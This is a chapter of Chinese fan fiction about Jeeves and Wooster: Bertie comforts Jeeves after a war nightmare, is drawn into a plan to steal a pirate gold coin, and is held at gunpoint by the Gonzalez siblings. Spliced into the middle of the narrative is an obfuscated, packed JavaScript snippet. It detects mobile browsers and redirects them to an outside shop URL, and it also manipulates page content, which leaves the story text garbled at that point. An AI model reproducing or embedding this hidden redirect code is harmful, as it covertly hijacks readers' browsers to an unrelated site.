坐起身,很难想象吉福斯会有这样六神无主的时候,哪怕只是个梦。我跪坐着越过他拉开灯,他额头布满的汗水微微浸湿枕套,眉头紧皱呈现痛苦之色。 我应该叫醒他吗?不能让他沉浸在噩梦里。我伸出手搭在他肩上,还没等我摇一摇,他就睁开了眼睛。 我的眼前出现了残影,他瞬间从床上跃起,一条腿踢上我的肚子,反身将我压到了身下。剧痛让我瞬间飞出了眼泪,我赶紧求饶:“吉福斯!是我!好痛……” 他猛地清醒,张口结舌地将我托住:“先生!你、请原谅,先生,我不知道是你。你没受伤吧?” 我瘫在床上,浑身都使不上力气,这一脚差点把我魂都踢没了。他小心翼翼地掀开我的睡衣仔细检查,用他热得冒汗的手在我肚子上摸了摸:“很严重吗,先生?” “我没事,吉福斯。”我泪汪汪地说,“你梦见什么了?是塔皮也变成牛来撞你了吗?” “不是。”他脸色苍白,从我身上下来,半抱着我想让我坐起,“你需要检查,先生。我叫医生……” “不,我已经好了。”虽然腹部的肌肉还在抽痛,但我强装无事道,“我敏捷地很,只是擦到了一下,现在已经不痛了。倒是你,你是不是做了很可怕的噩梦,你还好吗?需要安慰吗?” “梦而已,先生。” “和我说说。” 他半靠在我身边,手还放在我肚子上,轻轻地揉着。我确实感觉疼痛减缓了不少,在我探究的目光下,他凝视着枕头,脸上不见表情:“仅仅梦见我为你工作之前的时光,先生。” “哦,那你反应怎么这么大?你之前的主人会像中世纪那样拿铁棍敲打仆人吗?” “并非如此,先生。我确实和你提起过,我被你雇佣前曾经为几位贵族工作,但都是更早的时候。我递交求职信时,事实上刚刚退役,而且是从索姆河战场上离开。” 老天!我从来不知道吉福斯曾经参加过战争,不过这也合情合理。我也差一点去前线,达利娅姑妈找了熟人让我留在指挥部,后来我险些把弹药库给点了,梅琪将军说我这个白痴迟早要害死所有人,一脚踢在我屁股上把我踹出了军队。我就这样退役了,服役时间还不到一个星期。 我在报纸上阅读过索什么河战役的文章,详细的记不清了,可哪怕是吉福斯那绝顶聪明的脑瓜,面对子弹恐怕也是无助的。我越想越害怕,仿佛已经看到我最可靠男仆中弹的模样,难受得我想哭。 我想要抱抱他,但是那样太软弱了,吉福斯做噩梦,我得更可靠一点。于是我仰着脑袋问:“你需要一个温暖的拥抱吗?” “……先生?” “我小时候做了噩梦总是会扑进妈妈怀里,呃,我不是说我想要当你的妈妈,但是你可以假装这是妈妈的怀抱,或者你不喜欢的话,也可以假装是任何人的。” “我不想把你想象成任何人,先生。” “好吧,我就是我。”我突然开始紧张,小心地朝他贴近,“你想我抱抱你吗?” 9.第 9 章 他居高临下看着我,幽深的目光悬空在一英尺上方,我甚至能感受到他温热的呼吸洒在脸上。我一直都知道他身形伟岸,但这么近感受还是第一次。 然而我没体会到任何压迫感。这不意味着吉福斯不会生气,他通常真正生气的时候我都能察觉到,还挺害怕的,从不敢和他正面交锋。他骂我“智力低下”我也忍气吞声,但我从不认为他会在清醒的状态下伤害我,哪怕他刚刚才踹了我一脚。 他没有抹发油,几缕头发垂下来,遮住了总是闪着智慧光芒的眼睛。他的睡衣是非常朴素的白色,领口凌乱地倒向一边,两颗扣子解开,露出胸膛。嗯,毕竟如果睡觉的时候还把扣子扣起不太利于人类最本能的运动。 我是指呼吸。 当然,除此之外,其实我也不知道我到底在想什么,我的思维总是这样,断断续续,一会儿还专注于欣赏睡衣状态的吉福斯,一会儿又不知道飘到哪里去了。 “先生。”他低声说,嗓音像是滑过钢琴的最后一组八度,我猛地打了个激灵,赶紧重新带着微笑望向他,“已经过去了,不会再有战争了。” 他的手还放在我的肚子上。谁说仆人的房间没有暖气?不然我怎么觉得这么热呢?都要中暑了。 我没话找话:“吉福斯,战争是什么样的?” “我不愿告诉你,先生。这不是你该听的。” “一定很可怕吧?” “但丁的《神曲》与之相比不过是艺术的想象,先生。然而你无需理解。” “我知道,那段时间我经常收到伊顿公学和牛津大学的讣告,通知我我的老同学们死了,无事忙俱乐部以前的成员也比现在多很多。” 吉福斯关掉灯,把我慢慢地放回床上,用被子盖住我。但他的手没有拿开,只是从腰侧掠过,移到我的后背,轻轻地用指腹挠着。也许很多人和我有一样的经历?在我小的时候,生病后妈妈就会坐在床头,把手伸到我后背这样挠一整晚,我会睡得很香,不被病痛困扰。 虽然开始是我想安慰吉福斯,现在好像变反过来,但应该差不多吧。我打了个呵欠,不知不觉就睡着了。 我没再做梦,他也应该没有。几小时后我被他晃醒,想伸个腿,却发现我几乎是整个人躺在他的怀里,脚踩在他的脚上。 “先生,该起床了。”他双手抓着我的肩膀,退开了些,“再过半小时仆人们就要出门活动了,你得在之前离开。” “我肯定只睡了五分钟。” “很抱歉,请暂且在晨室休息一会儿,可以躺在靠椅上睡回笼觉。我去备茶,很快就回来,先生。” 我迷迷糊糊地任由吉福斯为我穿好衣服,期间因为困顿几次歪倒在他身上,差点靠着他睡着。最后他收拾好我,打开房门偷偷往外观察,确定走廊上无人后才带我离开。 清晨的第一缕阳光还未出现,我们只能靠彻夜留的几丝灯光来到晨室。他把我安顿在沙发上,转身去厨房。 我靠着椅背打瞌睡,忽然听到了淅淅索索的声音,不像是吉福斯的脚步声。 “伯蒂?” 是塔皮。我立刻抓紧毛毯,打算夺路而逃。然而他并不像昨晚那样愤怒,只是把手指竖在嘴边:“嘘——别吵,我不想惊动特拉弗斯先生。” “汤姆姑父?” 他指了指隔壁:“听着,伯蒂,帮我个忙。去看下你姑父是不是真的睡着了,然后到走廊放风,有人来立刻提醒我。” “你要做什么?”我来了精神,掀开毯子站起来,“潜进老头子的藏品室?” 他叹气:“唉,为博美人一笑,男人总是冲锋陷阵。” “啊?” “瓦伦蒂娜小姐啊,伯蒂!” “我的老伙计,你不能吃着碗里看着锅里,瓦伦蒂娜小姐和安吉拉表妹你到底选择谁?给我一个准话吧。” “你好意思提安吉拉!”他揪住我的领子,“昨天下午你胆大包天在花园里亲她,我本来应该扭断你的脖子。” “听着——” “不过算了。”他松开我,“你知道她说什么吗?她说我冲过草地的模样像是披着破布头的牛头梗,我翻不过去篱笆她就在我背后放声大笑,你说你见过这么过分的姑娘没有?总之我琢磨过味来了,你爱亲就亲吧,我要和那个小混蛋一刀两断。” 我真接受不了这样的刺激,尤其是在凌晨我还没喝上茶的时候。 我想再试着挽回,但他接着说:“瞌睡遇枕头,晚上卡洛斯先生给我送信,说那蠢牛是你买的,白天不该对我撒气。他说他和瓦伦蒂娜小姐有件事非常头疼,就是特拉弗斯先生不愿意给他们欣赏自己的藏品,感觉自己在异国他乡被人排斥。这可不行,我说我义不容辞,他就叫我偷来给他们看看。” 我觉得有哪里不对,又说不上来,正巧吉福斯回来了,我赶紧求救。 他让我在桌边坐下,给我倒茶:“冈萨雷斯先生有描述他想看的藏品是什么模样吗?” “是一枚金币,他给我看了图纸。” “金币?那不是……” 吉福斯咳嗽一声打断我的话:“我认为,这件事交给我们家少爷去办正正好。伍斯特先生有丰富的偷窃经验,在各个贵族庄园都来去自如。” 我说,这是什么话! 他无视我抗议的目光:“而且伍斯特先生出现在藏品室,也不会引起主人家的怀疑。现在已经四点了,恐怕饿了一个晚上很不好受吧?我建议格罗索普先生去厨房看看,也许会找到厨师安纳托留下的剩菜,我记得昨晚有很大一块馅饼只吃了不到三分二。” 如果说塔皮还有点脑子,那也只光顾着吃了。吉福斯一说,他就再没心思在藏品和冈萨雷斯家身上。他舔舔嘴唇:“好吧,馅饼。” 他从口袋里掏出张纸递给我。 “这边请,格罗索普先生。”吉福斯伸手示意,带着他离开。 我展开纸,最糟糕的美术作品也比这好很多,卡洛斯那家伙实在没有天赋。不过金币是什么意思?他想找的和汤姆姑父渴求的金币一样吗?可它不是在斯威登古董店? 我想摸下口袋,看看达利娅姑妈给我的图纸是不是也长这样,但口袋空空,大概是掉在了别处。 没办法,我只好直接进了藏品室。汤姆姑父最喜欢的是些银质器具,比如我就曾为他去别人家偷过一只奶牛摆件。除此之外,他的其他收藏品我也都能认出来。 然而我刚进门就被绊倒了,险些一头撞在门柱上。定睛一看,黑乎乎的门边蹲着个人,我心惊地大喊:“来人——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335748|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “伯蒂。” 苍老的声音,是汤姆姑父。 “老天,姑父,你不睡觉蹲在这里做什么呢?” 他不吭声了,我摸黑打开盏灯,照着他蜡黄消瘦的面孔。我急忙将他扶起,想把他安顿在椅子上,但他抓住我的袖子:“金币……海盗金币……” “我没有金币。”我说,“倒是你,姑父,那金币到底在谁那里?冈萨雷斯兄妹让塔皮来找的金币是不是就是你想要的?” “我没有金币,伯蒂。”他喃喃道,“它本可以是我的。” 我有些糊涂了:“那斯威登古董店?” “店主不肯卖给我。” “不肯卖给你?!” 突如其来的声音闯进了门口,是卡洛斯先生和瓦伦蒂娜小姐,拿着手电筒震惊地望着我们。 “晚上、呃、早上好?”真巧,大家都来这里相聚。 “特拉弗斯先生。”卡洛斯阴沉着脸问,“店主没有把金币卖给你吗?” 老东西摇了摇头:“本来是,但我只付了定金,等再去,他说什么也不肯卖了,好像我要买的是他儿子似的。在我年轻的时候,卖儿卖女的人都没这么不舍过,通常只要给几英镑……” “呃……”我尴尬地插话,“我好像有点明白了。店主反悔了,估计是有其他人出了更高的价格,但他之前也许找了好几个买家,我想卡洛斯先生就是其中之一,对不对?” 他无声地点了点头,有种古怪的情绪在眼中忽隐忽现。 “真是狡猾的老头,破坏市场秩序。”我似乎有些冷,“我也去过古董店,我很好奇,姑父你怎么会到波特贝罗路去?那真不是个好地方。” “我偶然在市内图书馆的一本古籍中看到了金币的图案,当时店主就在我旁边,他慌张地急于出手,才给了我机会。伯蒂,你姑妈说叫你去偷,难道不能再去一次吗?我真的非常非常想要它。” 如芒在背,那兄妹俩突然用幽幽的目光盯着我,在昏暗的大宅邸里面让我想起了最喜欢阅读的哥特式恐怖小说。两人的脸都十分苍白,呈现饥渴之色:“伍斯特先生,你去偷金币了?” 我打了个寒战:“我、我去了,但是……” “但是?”瓦伦蒂娜小姐终于对我说话,但没有一丝打破坚冰的冷美人的感觉,反倒像个女鬼,“你不会自己私藏了吧?” “不不不不不!我只是,突然有品位——他戴着的帽子把我魂勾走了,我在摄政街的橱窗里都很少见过那样漂亮的帽子……金币嘛到处都是,你喜欢什么图案,自己叫人去铸一枚……” “所以?” “咔嗒”一声,卡洛斯先生手里握着什么东西指向我。 是把手枪。 我脑子不能转了。 “你偷到了没有?” “我……我……我只偷了帽子……” “偷了帽子?” “对啊,非常漂亮的帽子,然后它又被别人偷走了。好帽子难寻,金币不难寻。” “金币!”瓦伦蒂娜小姐突然尖叫起来,露出几分丑恶之色,“你这个蠢货!最后一枚金币,我们的召唤仪式就成了!时间紧迫,卡洛斯,现在就出发去伦敦。” “没错。”他阴恻恻地对我一笑,“带上伍斯特先生。”